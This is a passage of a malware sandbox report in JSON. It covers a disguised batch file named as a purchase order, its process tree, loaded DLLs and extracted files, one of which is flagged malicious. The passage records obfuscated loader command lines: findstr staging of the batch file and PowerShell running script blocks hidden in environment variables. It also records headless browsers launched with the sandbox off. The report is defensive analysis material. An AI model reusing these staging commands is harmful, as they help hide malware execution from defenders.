\"C:\\NewPO230824312.js.bat\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005420","uid":"00000000-00007724"},{"pid":3920,"ppid":7724,"name":"findstr.exe","command_line":"findstr /c:\"&rem HRQFRTZEQZI\" \"C:\\NewPO230824312.js.bat\"","sha256":"b39ef1855b0c96f67f855f6ab5a1f685b094d473d908ccabed487bc0374e4001","normalized_path":"%WINDIR%\\system32\\findstr.exe","parent_uid":"00000000-00007724","uid":"00000000-00003920"},{"pid":1708,"ppid":5420,"name":"powershell.exe","command_line":"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005420","uid":"00000000-00001708"},{"pid":4640,"ppid":5420,"name":"cmd.exe","command_line":"/c findstr /c:\"&rem XQCYS\" \"C:\\NewPO230824312.js.bat\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005420","uid":"00000000-00004640"},{"pid":7228,"ppid":4640,"name":"findstr.exe","command_line":"findstr /c:\"&rem XQCYS\" \"C:\\NewPO230824312.js.bat\"","sha256":"b39ef1855b0c96f67f855f6ab5a1f685b094d473d908ccabed487bc0374e4001","normalized_path":"%WINDIR%\\system32\\findstr.exe","parent_uid":"00000000-00004640","uid":"00000000-00007228"},{"pid":7260,"ppid":5420,"name":"cmd.exe","command_line":"/c findstr /c:\"&rem NRIQZEVLM\" \"C:\\NewPO230824312.js.bat\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005420","uid":"00000000-00007260"},{"pid":2260,"ppid":7260,"name":"findstr.exe","command_line":"findstr /c:\"&rem NRIQZEVLM\" \"C:\\NewPO230824312.js.bat\"","sha256":"b39ef1855b0c96f67f855f6ab5a1f685b094d473d908ccabed487bc0374e4001","normalized_path":"%WINDIR%\\system32\\findstr.exe","parent_uid":"00000000-00007260","uid":"00000000-00002260"},{"pid":5812,"ppid":5420,"name":"cmd.exe","command_line":"/c findstr /c:\"&rem KAAREKNHXD\" \"C:\\NewPO230824312.js.bat\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005420","uid":"00000000-00005812"},{"pid":7444,"ppid":5812,"name":"findstr.exe","command_line":"findstr /c:\"&rem KAAREKNHXD\" \"C:\\NewPO230824312.js.bat\"","sha256":"b39ef1855b0c96f67f855f6ab5a1f685b094d473d908ccabed487bc0374e4001","normalized_path":"%WINDIR%\\system32\\findstr.exe","parent_uid":"00000000-00005812","uid":"00000000-00007444"},{"pid":6304,"ppid":5420,"name":"cmd.exe","command_line":"/c findstr /c:\"&rem LMXEWQDMDBHGLT\" \"C:\\NewPO230824312.js.bat\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005420","uid":"00000000-00006304"},{"pid":4216,"ppid":6304,"name":"findstr.exe","command_line":"findstr /c:\"&rem LMXEWQDMDBHGLT\" \"C:\\NewPO230824312.js.bat\"","sha256":"b39ef1855b0c96f67f855f6ab5a1f685b094d473d908ccabed487bc0374e4001","normalized_path":"%WINDIR%\\system32\\findstr.exe","parent_uid":"00000000-00006304","uid":"00000000-00004216"},{"pid":5152,"ppid":5420,"name":"cmd.exe","command_line":"/c findstr /c:\"&rem IBTMKMFJF\" \"C:\\NewPO230824312.js.bat\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005420","uid":"00000000-00005152"},{"pid":5096,"ppid":5152,"name":"findstr.exe","command_line":"findstr /c:\"&rem IBTMKMFJF\" \"C:\\NewPO230824312.js.bat\"","sha256":"b39ef1855b0c96f67f855f6ab5a1f685b094d473d908ccabed487bc0374e4001","normalized_path":"%WINDIR%\\system32\\findstr.exe","parent_uid":"00000000-00005152","uid":"00000000-00005096"},{"pid":412,"ppid":5420,"name":"powershell.exe","command_line":"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005420","uid":"00000000-00000412"},{"pid":8040,"ppid":412,"name":"powershell.exe","command_line":"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00000412","uid":"00000000-00008040"},{"pid":7496,"ppid":0,"name":"chrome.exe","command_line":"--disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\fx1ihedi.55i\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","uid":"00000000-00007496","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":2684,"ppid":7496,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\fx1ihedi.55i /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\fx1ihedi.55i\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0xc4,0xc8,0xcc,0xa0,0xd0,0x7ffb02530068,0x7ffb02530074,0x7ffb02530080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007496","uid":"00000000-00002684"},{"pid":5268,"ppid":7496,"name":"chrome.exe","command_line":"--type=gpu-process --no-sandbox --user-data-dir=\"%TEMP%\\fx1ihedi.55i\" --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --metrics-shmem-handle=1584,i,14404331114333302000,7716387266564928286,262144 --field-trial-handle=1864,i,5415582776656239745,4200283583510923648,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1860 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007496","uid":"00000000-00005268"},{"pid":5048,"ppid":7496,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\fx1ihedi.55i\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1789563703076264 --launch-time-ticks=1975619431 --metrics-shmem-handle=2840,i,16125567521838243734,12302701831182156727,2097152 --field-trial-handle=1864,i,5415582776656239745,4200283583510923648,262144 --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3784 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007496","uid":"00000000-00005048"},{"pid":7384,"ppid":7496,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\fx1ihedi.55i\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --time-ticks-at-unix-epoch=-1789563703076264 --launch-time-ticks=1975836771 --metrics-shmem-handle=3052,i,17695709829384794855,6214878834079152495,2097152 --field-trial-handle=1864,i,5415582776656239745,4200283583510923648,262144 --variations-seed-version --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=3768 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007496","uid":"00000000-00007384"},{"pid":4796,"ppid":7496,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\fx1ihedi.55i\" --extension-process --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --time-ticks-at-unix-epoch=-1789563703076264 --launch-time-ticks=1976343089 --metrics-shmem-handle=3292,i,12591571855625720913,9696152494429322730,2097152 --field-trial-handle=1864,i,5415582776656239745,4200283583510923648,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=4120 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007496","uid":"00000000-00004796"},{"pid":7408,"ppid":0,"name":"msedge.exe","command_line":"--disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\1xes2x0b.df5\"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","uid":"00000000-00007408","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":3476,"ppid":7408,"name":"msedge.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\1xes2x0b.df5 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\1xes2x0b.df5\\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=145.0.7632.76 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=145.0.3800.58 --initial-client-data=0x210,0x214,0x218,0x20c,0x220,0x7ffadf280f18,0x7ffadf280f24,0x7ffadf280f30","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007408","uid":"00000000-00003476"},{"pid":872,"ppid":7408,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\1xes2x0b.df5\" --startup-read-main-dll --metrics-shmem-handle=2088,i,185148062117103578,13142466965726688659,524288 --field-trial-handle=1984,i,473642280770902328,3241634133748794775,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=3124 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007408","uid":"00000000-00000872"},{"pid":4132,"ppid":7408,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\1xes2x0b.df5\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1789563703076265 --launch-time-ticks=1980574483 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=2784,i,8362945992955000447,10543996323402479885,2097152 --field-trial-handle=1984,i,473642280770902328,3241634133748794775,262144 --variations-seed-version --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=2772 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007408","uid":"00000000-00004132"},{"pid":6228,"ppid":7408,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\1xes2x0b.df5\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --time-ticks-at-unix-epoch=-1789563703076265 --launch-time-ticks=1981693354 --skip-read-main-dll --metrics-shmem-handle=3284,i,10543393246616609877,8672526882274505592,2097152 --field-trial-handle=1984,i,473642280770902328,3241634133748794775,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=3896 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007408","uid":"00000000-00006228"},{"pid":4144,"ppid":7408,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\1xes2x0b.df5\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --time-ticks-at-unix-epoch=-1789563703076265 --launch-time-ticks=1982287749 --skip-read-main-dll --metrics-shmem-handle=3336,i,14483583392750657092,6728103484864818482,2097152 --field-trial-handle=1984,i,473642280770902328,3241634133748794775,262144 --variations-seed-version --trace-process-track-uuid=3190708996619331833 --mojo-platform-channel-handle=4456 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007408","uid":"00000000-00004144"},{"pid":7084,"ppid":7408,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\1xes2x0b.df5\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --time-ticks-at-unix-epoch=-1789563703076265 --launch-time-ticks=1982701087 --skip-read-main-dll --metrics-shmem-handle=3372,i,14660201700441999715,16027215638851080045,2097152 --field-trial-handle=1984,i,473642280770902328,3241634133748794775,262144 --variations-seed-version --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=3312 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007408","uid":"00000000-00007084"},{"pid":8060,"ppid":7408,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\1xes2x0b.df5\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --time-ticks-at-unix-epoch=-1789563703076265 --launch-time-ticks=1983295923 --skip-read-main-dll --metrics-shmem-handle=3420,i,8556668923446013334,10042522285061906160,2097152 --field-trial-handle=1984,i,473642280770902328,3241634133748794775,262144 --variations-seed-version --trace-process-track-uuid=3190708999430457380 --mojo-platform-channel-handle=4624 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007408","uid":"00000000-00008060"},{"pid":8096,"ppid":7408,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\1xes2x0b.df5\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --time-ticks-at-unix-epoch=-1789563703076265 --launch-time-ticks=1983628835 --skip-read-main-dll --metrics-shmem-handle=3444,i,661057770545963531,17894241358289036750,2097152 --field-trial-handle=1984,i,473642280770902328,3241634133748794775,262144 --variations-seed-version --trace-process-track-uuid=3190709000367499229 --mojo-platform-channel-handle=4704 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007408","uid":"00000000-00008096"},{"pid":5524,"ppid":7408,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\1xes2x0b.df5\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --time-ticks-at-unix-epoch=-1789563703076265 --launch-time-ticks=1983894963 --skip-read-main-dll --metrics-shmem-handle=3468,i,14448470767930153430,11758647501438703357,2097152 --field-trial-handle=1984,i,473642280770902328,3241634133748794775,262144 --variations-seed-version --trace-process-track-uuid=3190709001304541078 --mojo-platform-channel-handle=4684 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007408","uid":"00000000-00005524"}],"all_imported_dlls":["sechost.dll","RTWorkQ.dll","IPHLPAPI.DLL","msctf.dll","gdi32.dll","7aKG8j8Z.dll","System.Numerics.ni.dll","dwmapi.dll","nsi.dll","kernel32.dll","System.ni.dll","msasn1.dll","ELSCore.dll","propsys.dll","CoreUIComponents.dll","msedge_elf.dll","System.Core.ni.dll","profapi.dll","userenv.dll","Microsoft.Management.Infrastructure.ni.dll","System.Management.ni.dll","dsreg.dll","fltLib.dll","cmdext.dll","kernel.appcore.dll","crypt32.dll","System.Data.dll","System.Transactions.ni.dll","uxtheme.dll","dcomp.dll","System.Configuration.Install.ni.dll","msvcp110_win.dll","rmclient.dll","mfplat.dll","biwinrt.dll","dpapi.dll","dxgi.dll","netapi32.dll","win32u.dll","shell32.dll","gpapi.dll","fwbase.dll","rpcrt4.dll","wintrust.dll","System.Data.ni.dll","clrjit.dll","linkinfo.dll","tbs.dll","FirewallAPI.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","MpClient.dll","BCP47Langs.dll","comctl32.dll","Windows.UI.Immersive.dll","deviceaccess.dll","System.DirectoryServices.ni.dll","aepic.dll","twinapi.dll","ole32.dll","ucrtbase_clr0400.dll","System.Xml.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","winhttp.dll","deviceassociation.dll","KernelBase.dll","advapi32.dll","windows.storage.dll","secur32.dll","sppc.dll","Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll","ntdll.dll","chrome.dll","ucrtbase.dll","bcryptprimitives.dll","version.dll","clr.dll","wldp.dll","msvcp_win.dll","imm32.dll","mscms.dll","vcruntime140_clr0400.dll","cryptbase.dll","powrprof.dll","Microsoft.PowerShell.Security.ni.dll","System.Configuration.ni.dll","System.Transactions.dll","urlmon.dll","mf.dll","mscoree.dll","msvcrt.dll","ws2_32.dll","gdi32full.dll","cfgmgr32.dll","wbemsvc.dll","CoreMessaging.dll","mscorlib.ni.dll","SHCore.dll","sspicli.dll","imagehlp.dll","chrome_elf.dll","netutils.dll","d3dcompiler_47.dll","Windows.Security.Authentication.Web.Core.dll","user32.dll","actxprxy.dll","ncrypt.dll","MpOAV.dll","slc.dll","AppResolver.dll","winmmbase.dll","WinTypes.dll","atl.dll","vcruntime140_1.dll","oleaut32.dll","webauthn.dll","rsaenh.dll","clbcatq.dll","wkscli.dll","dhcpcsvc.dll","TextInputFramework.dll","bcrypt.dll","devobj.dll","ntasn1.dll","VxSSL64.dll","iertutil.dll","cldapi.dll","DWrite.dll","DataExchange.dll","d3d11.dll","mdmregistration.dll","dmcmnutils.dll","amsi.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","winmm.dll","msvcp140.dll","vcruntime140.dll","ntshrui.dll","srvcli.dll","policymanager.dll","twinapi.appcore.dll","ResourcePolicyClient.dll","Windows.Devices.Enumeration.dll","combase.dll","cryptsp.dll","mscoreei.dll","System.Management.Automation.ni.dll","nlaapi.dll","shlwapi.dll","ntmarta.dll","cscapi.dll","dhcpcsvc6.dll","psapi.dll","msedge.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"imm_compose_OQPMGLCI.cmd","sha256":"0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"imm_compose_XMRVLCRBh.cmd","sha256":"a35c10e9b78043998c1ef3727f6b3289f14018114acaa8a6a57e0017d0597014","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"KO3YYMRSPCNWAGYXECBG.temp","sha256":"933dd749b055f5c83d4f11fb3f187b843043987994dbb65074b8c812834ec8fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"imm_compose.cfg","sha256":"0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"imm_compose.cfg%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"imm_compose_OQPMGLCI.cmd%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]}],"files_written":[{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_a54vlmsi.myt.ps1","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_a1v3dsxq.rvj.psm1","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_4jlz0bo2.lan.ps1","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_fidxucdf.l5v.psm1","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\KO3YYMRSPCNWAGYXECBG.temp","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1d225f.TMP","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_vefi2iku.l2t.ps1","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_g3vm5h1w.0iw.psm1","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"